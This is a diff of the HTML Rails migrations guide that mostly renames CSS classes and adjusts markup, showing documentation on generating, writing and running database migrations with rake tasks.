+<div class="paragraph"><p>Occasionally you will make a mistake while writing a migration. If you have already run the migration then you cannot just edit the migration and run the migration again: Rails thinks it has already run the migration and so will do nothing when you run <tt>rake db:migrate</tt>. You must rollback the migration (for example with <tt>rake db:rollback</tt>), edit your migration and then run <tt>rake db:migrate</tt> to run the corrected version.</p></div>
+<div class="paragraph"><p>In general editing existing migrations is not a good idea: you will be creating extra work for yourself and your co-workers and cause major headaches if the existing version of the migration has already been run on production machines. Instead you should write a new migration that performs the changes you require. Editing a freshly generated migration that has not yet been committed to source control (or more generally which has not been propagated beyond your development machine) is relatively harmless. Just use some common sense.</p></div>
</div>
<h2 id="_creating_a_migration">2. Creating A Migration</h2>
<div class="sectionbody">
<h3 id="_creating_a_model">2.1. Creating a model</h3>
-<div class="para"><p>The model and scaffold generators will create migrations appropriate for adding a new model. This migration will already contain instructions for creating the relevant table. If you tell Rails what columns you want then statements for adding those will also be created. For example, running</p></div>
-<div class="para"><p><tt>ruby script/generate model Product name:string description:text</tt> will create a migration that looks like this</p></div>
+<div class="paragraph"><p>The model and scaffold generators will create migrations appropriate for adding a new model. This migration will already contain instructions for creating the relevant table. If you tell Rails what columns you want then statements for adding those will also be created. For example, running</p></div>
+<div class="paragraph"><p><tt>ruby script/generate model Product name:string description:text</tt> will create a migration that looks like this</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -445,14 +275,13 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
drop_table <span style="color: #990000">:</span>products
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>You can append as many column name/type pairs as you want. By default <tt>t.timestamps</tt> (which creates the <tt>updated_at</tt> and <tt>created_at</tt> columns that
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>You can append as many column name/type pairs as you want. By default <tt>t.timestamps</tt> (which creates the <tt>updated_at</tt> and <tt>created_at</tt> columns that
are automatically populated by Active Record) will be added for you.</p></div>
<h3 id="_creating_a_standalone_migration">2.2. Creating a standalone migration</h3>
-<div class="para"><p>If you are creating migrations for other purposes (for example to add a column to an existing table) then you can use the migration generator:</p></div>
-<div class="para"><p><tt>ruby script/generate migration AddPartNumberToProducts</tt></p></div>
-<div class="para"><p>This will create an empty but appropriately named migration:</p></div>
+<div class="paragraph"><p>If you are creating migrations for other purposes (for example to add a column to an existing table) then you can use the migration generator:</p></div>
+<div class="paragraph"><p><tt>ruby script/generate migration AddPartNumberToProducts</tt></p></div>
+<div class="paragraph"><p>This will create an empty but appropriately named migration:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -464,12 +293,11 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>If the migration name is of the form AddXXXToYYY or RemoveXXXFromY and is followed by a list of column names and types then a migration containing
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>If the migration name is of the form AddXXXToYYY or RemoveXXXFromY and is followed by a list of column names and types then a migration containing
the appropriate add and remove column statements will be created.</p></div>
-<div class="para"><p><tt>ruby script/generate migration AddPartNumberToProducts part_number:string</tt></p></div>
-<div class="para"><p>will generate</p></div>
+<div class="paragraph"><p><tt>ruby script/generate migration AddPartNumberToProducts part_number:string</tt></p></div>
+<div class="paragraph"><p>will generate</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -483,11 +311,10 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
remove_column <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>part_number
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Similarly,</p></div>
-<div class="para"><p><tt>ruby script/generate migration RemovePartNumberFromProducts part_number:string</tt></p></div>
-<div class="para"><p>generates</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Similarly,</p></div>
+<div class="paragraph"><p><tt>ruby script/generate migration RemovePartNumberFromProducts part_number:string</tt></p></div>
+<div class="paragraph"><p>generates</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -501,11 +328,10 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
add_column <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>part_number<span style="color: #990000">,</span> <span style="color: #990000">:</span>string
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>You are not limited to one magically generated column, for example</p></div>
-<div class="para"><p><tt>ruby script/generate migration AddDetailsToProducts part_number:string price:decimal</tt></p></div>
-<div class="para"><p>generates</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>You are not limited to one magically generated column, for example</p></div>
+<div class="paragraph"><p><tt>ruby script/generate migration AddDetailsToProducts part_number:string price:decimal</tt></p></div>
+<div class="paragraph"><p>generates</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -521,15 +347,14 @@ http://www.gnu.org/software/src-highlite -->
remove_column <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>price
remove_column <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>part_number
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>As always, what has been generated for you is just a starting point. You can add or remove from it as you see fit.</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>As always, what has been generated for you is just a starting point. You can add or remove from it as you see fit.</p></div>
</div>
<h2 id="_writing_a_migration">3. Writing a Migration</h2>
<div class="sectionbody">
-<div class="para"><p>Once you have created your migration using one of the generators it's time to get to work!</p></div>
+<div class="paragraph"><p>Once you have created your migration using one of the generators it&#8217;s time to get to work!</p></div>
<h3 id="_creating_a_table">3.1. Creating a table</h3>
-<div class="para"><p><tt>create_table</tt> will be one of your workhorses. A typical use would be</p></div>
+<div class="paragraph"><p><tt>create_table</tt> will be one of your workhorses. A typical use would be</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -537,10 +362,9 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>create_table <span style="color: #990000">:</span>products <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>name
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>which creates a <tt>products</tt> table with a column called <tt>name</tt> (and as discussed below, an implicit <tt>id</tt> column).</p></div>
-<div class="para"><p>The object yielded to the block allows you create columns on the table. There are two ways of doing this. The first looks like</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>which creates a <tt>products</tt> table with a column called <tt>name</tt> (and as discussed below, an implicit <tt>id</tt> column).</p></div>
+<div class="paragraph"><p>The object yielded to the block allows you create columns on the table. There are two ways of doing this. The first looks like</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -548,9 +372,8 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>create_table <span style="color: #990000">:</span>products <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
t<span style="color: #990000">.</span>column <span style="color: #990000">:</span>name<span style="color: #990000">,</span> <span style="color: #990000">:</span>string<span style="color: #990000">,</span> <span style="color: #990000">:</span>null <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">false</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>the second form, the so called "sexy" migrations, drops the somewhat redundant column method. Instead, the <tt>string</tt>, <tt>integer</tt> etc. methods create a column of that type. Subsequent parameters are identical.</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>the second form, the so called "sexy" migrations, drops the somewhat redundant column method. Instead, the <tt>string</tt>, <tt>integer</tt> etc. methods create a column of that type. Subsequent parameters are identical.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -558,9 +381,8 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>create_table <span style="color: #990000">:</span>products <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>name<span style="color: #990000">,</span> <span style="color: #990000">:</span>null <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">false</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>By default <tt>create_table</tt> will create a primary key called <tt>id</tt>. You can change the name of the primary key with the <tt>:primary_key</tt> option (don't forget to update the corresponding model) or if you don't want a primary key at all (for example for a HABTM join table) you can pass <tt>:id &#8658; false</tt>. If you need to pass database specific options you can place an sql fragment in the <tt>:options</tt> option. For example</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>By default <tt>create_table</tt> will create a primary key called <tt>id</tt>. You can change the name of the primary key with the <tt>:primary_key</tt> option (don&#8217;t forget to update the corresponding model) or if you don&#8217;t want a primary key at all (for example for a HABTM join table) you can pass <tt>:id =&gt; false</tt>. If you need to pass database specific options you can place an sql fragment in the <tt>:options</tt> option. For example</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -568,11 +390,10 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>create_table <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>options <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"ENGINE=BLACKHOLE"</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>name<span style="color: #990000">,</span> <span style="color: #990000">:</span>null <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">false</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Will append <tt>ENGINE=BLACKHOLE</tt> to the sql used to create the table (when using MySQL the default is "ENGINE=InnoDB").</p></div>
-<div class="para"><p>The types Active Record supports are <tt>:primary_key</tt>, <tt>:string</tt>, <tt>:text</tt>, <tt>:integer</tt>, <tt>:float</tt>, <tt>:decimal</tt>, <tt>:datetime</tt>, <tt>:timestamp</tt>, <tt>:time</tt>, <tt>:date</tt>, <tt>:binary</tt>, <tt>:boolean</tt>.</p></div>
-<div class="para"><p>These will be mapped onto an appropriate underlying database type, for example with MySQL <tt>:string</tt> is mapped to <tt>VARCHAR(255)</tt>. You can create columns of
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Will append <tt>ENGINE=BLACKHOLE</tt> to the sql used to create the table (when using MySQL the default is "ENGINE=InnoDB").</p></div>
+<div class="paragraph"><p>The types Active Record supports are <tt>:primary_key</tt>, <tt>:string</tt>, <tt>:text</tt>, <tt>:integer</tt>, <tt>:float</tt>, <tt>:decimal</tt>, <tt>:datetime</tt>, <tt>:timestamp</tt>, <tt>:time</tt>, <tt>:date</tt>, <tt>:binary</tt>, <tt>:boolean</tt>.</p></div>
+<div class="paragraph"><p>These will be mapped onto an appropriate underlying database type, for example with MySQL <tt>:string</tt> is mapped to <tt>VARCHAR(255)</tt>. You can create columns of
types not supported by Active Record when using the non sexy syntax, for example</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
@@ -581,11 +402,10 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>create_table <span style="color: #990000">:</span>products <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
t<span style="color: #990000">.</span>column <span style="color: #990000">:</span>name<span style="color: #990000">,</span> <span style="color: #FF0000">'polygon'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>null <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">false</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>This may however hinder portability to other databases.</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>This may however hinder portability to other databases.</p></div>
<h3 id="_changing_tables">3.2. Changing tables</h3>
-<div class="para"><p><tt>create_table</tt>'s close cousin is <tt>change_table</tt>. Used for changing existing tables, it is used in a similar fashion to <tt>create_table</tt> but the object yielded to the block knows more tricks. For example</p></div>
+<div class="paragraph"><p><tt>create_table</tt>'s close cousin is <tt>change_table</tt>. Used for changing existing tables, it is used in a similar fashion to <tt>create_table</tt> but the object yielded to the block knows more tricks. For example</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -596,9 +416,8 @@ http://www.gnu.org/software/src-highlite -->
t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>part_number
t<span style="color: #990000">.</span>index <span style="color: #990000">:</span>part_number
t<span style="color: #990000">.</span>rename <span style="color: #990000">:</span>upccode<span style="color: #990000">,</span> <span style="color: #990000">:</span>upc_code
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>removes the <tt>description</tt> column, creates a <tt>part_number</tt> column and adds an index on it. Finally it renames the <tt>upccode</tt> column. This is the same as doing</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>removes the <tt>description</tt> column, creates a <tt>part_number</tt> column and adds an index on it. Finally it renames the <tt>upccode</tt> column. This is the same as doing</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -608,11 +427,10 @@ http://www.gnu.org/software/src-highlite -->
remove_column <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>name
add_column <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>part_number<span style="color: #990000">,</span> <span style="color: #990000">:</span>string
add_index <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>part_number
-rename_column <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>upccode<span style="color: #990000">,</span> <span style="color: #990000">:</span>upc_code
-</tt></pre></div></div>
-<div class="para"><p>You don't have to keep repeating the table name and it groups all the statements related to modifying one particular table. The individual transformation names are also shorter, for example <tt>remove_column</tt> becomes just <tt>remove</tt> and <tt>add_index</tt> becomes just <tt>index</tt>.</p></div>
+rename_column <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>upccode<span style="color: #990000">,</span> <span style="color: #990000">:</span>upc_code</tt></pre></div></div>
+<div class="paragraph"><p>You don&#8217;t have to keep repeating the table name and it groups all the statements related to modifying one particular table. The individual transformation names are also shorter, for example <tt>remove_column</tt> becomes just <tt>remove</tt> and <tt>add_index</tt> becomes just <tt>index</tt>.</p></div>
<h3 id="_special_helpers">3.3. Special helpers</h3>
-<div class="para"><p>Active Record provides some shortcuts for common functionality. It is for example very common to add both the <tt>created_at</tt> and <tt>updated_at</tt> columns and so there is a method that does exactly that:</p></div>
+<div class="paragraph"><p>Active Record provides some shortcuts for common functionality. It is for example very common to add both the <tt>created_at</tt> and <tt>updated_at</tt> columns and so there is a method that does exactly that:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -620,9 +438,8 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>create_table <span style="color: #990000">:</span>products <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
t<span style="color: #990000">.</span>timestamps
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>will create a new products table with those two columns whereas</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>will create a new products table with those two columns whereas</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -630,10 +447,9 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>change_table <span style="color: #990000">:</span>products <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
t<span style="color: #990000">.</span>timestamps
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>adds those columns to an existing table.</p></div>
-<div class="para"><p>The other helper is called <tt>references</tt> (also available as <tt>belongs_to</tt>). In its simplest form it just adds some readability</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>adds those columns to an existing table.</p></div>
+<div class="paragraph"><p>The other helper is called <tt>references</tt> (also available as <tt>belongs_to</tt>). In its simplest form it just adds some readability</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -641,9 +457,8 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>create_table <span style="color: #990000">:</span>products <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
t<span style="color: #990000">.</span>references <span style="color: #990000">:</span>category
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>will create a <tt>category_id</tt> column of the appropriate type. Note that you pass the model name, not the column name. Active Record adds the <tt>_id</tt> for you. If you have polymorphic belongs_to associations then <tt>references</tt> will add both of the columns required:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>will create a <tt>category_id</tt> column of the appropriate type. Note that you pass the model name, not the column name. Active Record adds the <tt>_id</tt> for you. If you have polymorphic belongs_to associations then <tt>references</tt> will add both of the columns required:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -651,9 +466,8 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>create_table <span style="color: #990000">:</span>products <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
t<span style="color: #990000">.</span>references <span style="color: #990000">:</span>attachment<span style="color: #990000">,</span> <span style="color: #990000">:</span>polymorphic <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span><span style="color: #990000">:</span>default <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'Photo'</span><span style="color: #FF0000">}</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>will add an <tt>attachment_id</tt> column and a string <tt>attachment_type</tt> column with a default value of <em>Photo</em>.</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>will add an <tt>attachment_id</tt> column and a string <tt>attachment_type</tt> column with a default value of <em>Photo</em>.</p></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
@@ -662,10 +476,10 @@ http://www.gnu.org/software/src-highlite -->
<td class="content">The <tt>references</tt> helper does not actually create foreign key constraints for you. You will need to use <tt>execute</tt> for that or a plugin that adds <a href="#foreign_key">foreign key support</a>.</td>
</tr></table>
</div>
-<div class="para"><p>If the helpers provided by Active Record aren't enough you can use the <tt>execute</tt> function to execute arbitrary SQL.</p></div>
-<div class="para"><p>For more details and examples of individual methods check the API documentation, in particular the documentation for <a href="http://api.rubyonrails.com/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html">ActiveRecord::ConnectionAdapters::SchemaStatements</a> (which provides the methods available in the <tt>up</tt> and <tt>down</tt> methods), <a href="http://api.rubyonrails.com/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html">ActiveRecord::ConnectionAdapters::TableDefinition</a> (which provides the methods available on the object yielded by <tt>create_table</tt>) and <a href="http://api.rubyonrails.com/classes/ActiveRecord/ConnectionAdapters/Table.html">ActiveRecord::ConnectionAdapters::Table</a> (which provides the methods available on the object yielded by <tt>change_table</tt>).</p></div>
+<div class="paragraph"><p>If the helpers provided by Active Record aren&#8217;t enough you can use the <tt>execute</tt> function to execute arbitrary SQL.</p></div>
+<div class="paragraph"><p>For more details and examples of individual methods check the API documentation, in particular the documentation for <a href="http://api.rubyonrails.com/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html">ActiveRecord::ConnectionAdapters::SchemaStatements</a> (which provides the methods available in the <tt>up</tt> and <tt>down</tt> methods), <a href="http://api.rubyonrails.com/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html">ActiveRecord::ConnectionAdapters::TableDefinition</a> (which provides the methods available on the object yielded by <tt>create_table</tt>) and <a href="http://api.rubyonrails.com/classes/ActiveRecord/ConnectionAdapters/Table.html">ActiveRecord::ConnectionAdapters::Table</a> (which provides the methods available on the object yielded by <tt>change_table</tt>).</p></div>
<h3 id="_writing_your_down_method">3.4. Writing your down method</h3>
-<div class="para"><p>The <tt>down</tt> method of your migration should revert the transformations done by the <tt>up</tt> method. In other words the database should be unchanged if you do an <tt>up</tt> followed by a <tt>down</tt>. For example if you create a table in the up you should drop it in the <tt>down</tt> method. It is wise to do things in precisely the reverse order to in the <tt>up</tt> method. For example</p></div>
+<div class="paragraph"><p>The <tt>down</tt> method of your migration should revert the transformations done by the <tt>up</tt> method. In other words the database should be unchanged if you do an <tt>up</tt> followed by a <tt>down</tt>. For example if you create a table in the up you should drop it in the <tt>down</tt> method. It is wise to do things in precisely the reverse order to in the <tt>up</tt> method. For example</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -691,41 +505,40 @@ http://www.gnu.org/software/src-highlite -->
execute <span style="color: #FF0000">"ALTER TABLE products DROP FOREIGN KEY fk_products_categories"</span>
drop_table <span style="color: #990000">:</span>products
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Sometimes your migration will do something which is just plain irreversible, for example it might destroy some data. In cases like those when you can't reverse the migration you can raise IrreversibleMigration from your <tt>down</tt> method. If someone tries to revert your migration an error message will be
-displayed saying that it can't be done.</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Sometimes your migration will do something which is just plain irreversible, for example it might destroy some data. In cases like those when you can&#8217;t reverse the migration you can raise IrreversibleMigration from your <tt>down</tt> method. If someone tries to revert your migration an error message will be
+displayed saying that it can&#8217;t be done.</p></div>
</div>
<h2 id="_running_migrations">4. Running Migrations</h2>
<div class="sectionbody">
-<div class="para"><p>Rails provides a set of rake tasks to work with migrations which boils down to running certain sets of migrations. The very first migration related rake task you use will probably be <tt>db:migrate</tt>. In its most basic form it just runs the <tt>up</tt> method for all the migrations that have not yet been run. If there are no such migrations it exits.</p></div>
-<div class="para"><p>Note that running the <tt>db:migrate</tt> also invokes the <tt>db:schema:dump</tt> task, which will update your db/schema.rb file to match the structure of your database.</p></div>
-<div class="para"><p>If you specify a target version, Active Record will run the required migrations (up or down) until it has reached the specified version. The
-version is the numerical prefix on the migration's filename. For example to migrate to version 20080906120000 run</p></div>
+<div class="paragraph"><p>Rails provides a set of rake tasks to work with migrations which boils down to running certain sets of migrations. The very first migration related rake task you use will probably be <tt>db:migrate</tt>. In its most basic form it just runs the <tt>up</tt> method for all the migrations that have not yet been run. If there are no such migrations it exits.</p></div>
+<div class="paragraph"><p>Note that running the <tt>db:migrate</tt> also invokes the <tt>db:schema:dump</tt> task, which will update your db/schema.rb file to match the structure of your database.</p></div>
+<div class="paragraph"><p>If you specify a target version, Active Record will run the required migrations (up or down) until it has reached the specified version. The
+version is the numerical prefix on the migration&#8217;s filename. For example to migrate to version 20080906120000 run</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>rake db:migrate VERSION=20080906120000</tt></pre>
</div></div>
-<div class="para"><p>If this is greater than the current version (i.e. it is migrating upwards) this will run the <tt>up</tt> method on all migrations up to and including 20080906120000, if migrating downwards this will run the <tt>down</tt> method on all the migrations down to, but not including, 20080906120000.</p></div>
+<div class="paragraph"><p>If this is greater than the current version (i.e. it is migrating upwards) this will run the <tt>up</tt> method on all migrations up to and including 20080906120000, if migrating downwards this will run the <tt>down</tt> method on all the migrations down to, but not including, 20080906120000.</p></div>
<h3 id="_rolling_back">4.1. Rolling back</h3>
-<div class="para"><p>A common task is to rollback the last migration, for example if you made a mistake in it and wish to correct it. Rather than tracking down the version number associated with the previous migration you can run</p></div>
+<div class="paragraph"><p>A common task is to rollback the last migration, for example if you made a mistake in it and wish to correct it. Rather than tracking down the version number associated with the previous migration you can run</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>rake db:rollback</tt></pre>
</div></div>
-<div class="para"><p>This will run the <tt>down</tt> method from the latest migration. If you need to undo several migrations you can provide a <tt>STEP</tt> parameter:</p></div>
+<div class="paragraph"><p>This will run the <tt>down</tt> method from the latest migration. If you need to undo several migrations you can provide a <tt>STEP</tt> parameter:</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>rake db:rollback STEP=3</tt></pre>
</div></div>
-<div class="para"><p>will run the <tt>down</tt> method from the last 3 migrations.</p></div>
-<div class="para"><p>The <tt>db:migrate:redo</tt> task is a shortcut for doing a rollback and then migrating back up again. As with the <tt>db:rollback</tt> task you can use the <tt>STEP</tt> parameter if you need to go more than one version back, for example</p></div>
+<div class="paragraph"><p>will run the <tt>down</tt> method from the last 3 migrations.</p></div>
+<div class="paragraph"><p>The <tt>db:migrate:redo</tt> task is a shortcut for doing a rollback and then migrating back up again. As with the <tt>db:rollback</tt> task you can use the <tt>STEP</tt> parameter if you need to go more than one version back, for example</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>rake db:migrate:redo STEP=3</tt></pre>
</div></div>
-<div class="para"><p>Neither of these Rake tasks do anything you could not do with <tt>db:migrate</tt>, they are simply more convenient since you do not need to explicitly specify the version to migrate to.</p></div>
-<div class="para"><p>Lastly, the <tt>db:reset</tt> task will drop the database, recreate it and load the current schema into it.</p></div>
+<div class="paragraph"><p>Neither of these Rake tasks do anything you could not do with <tt>db:migrate</tt>, they are simply more convenient since you do not need to explicitly specify the version to migrate to.</p></div>
+<div class="paragraph"><p>Lastly, the <tt>db:reset</tt> task will drop the database, recreate it and load the current schema into it.</p></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
@@ -735,14 +548,14 @@ version is the numerical prefix on the migration's filename. For example to migr
</tr></table>
</div>
<h3 id="_being_specific">4.2. Being Specific</h3>
-<div class="para"><p>If you need to run a specific migration up or down the <tt>db:migrate:up</tt> and <tt>db:migrate:down</tt> tasks will do that. Just specify the appropriate version and the corresponding migration will have its <tt>up</tt> or <tt>down</tt> method invoked, for example</p></div>
+<div class="paragraph"><p>If you need to run a specific migration up or down the <tt>db:migrate:up</tt> and <tt>db:migrate:down</tt> tasks will do that. Just specify the appropriate version and the corresponding migration will have its <tt>up</tt> or <tt>down</tt> method invoked, for example</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>rake db:migrate:up VERSION=20080906120000</tt></pre>
</div></div>
-<div class="para"><p>will run the <tt>up</tt> method from the 20080906120000 migration. These tasks check whether the migration has already run, so for example <tt>db:migrate:up VERSION=20080906120000</tt> will do nothing if Active Record believes that 20080906120000 has already been run.</p></div>
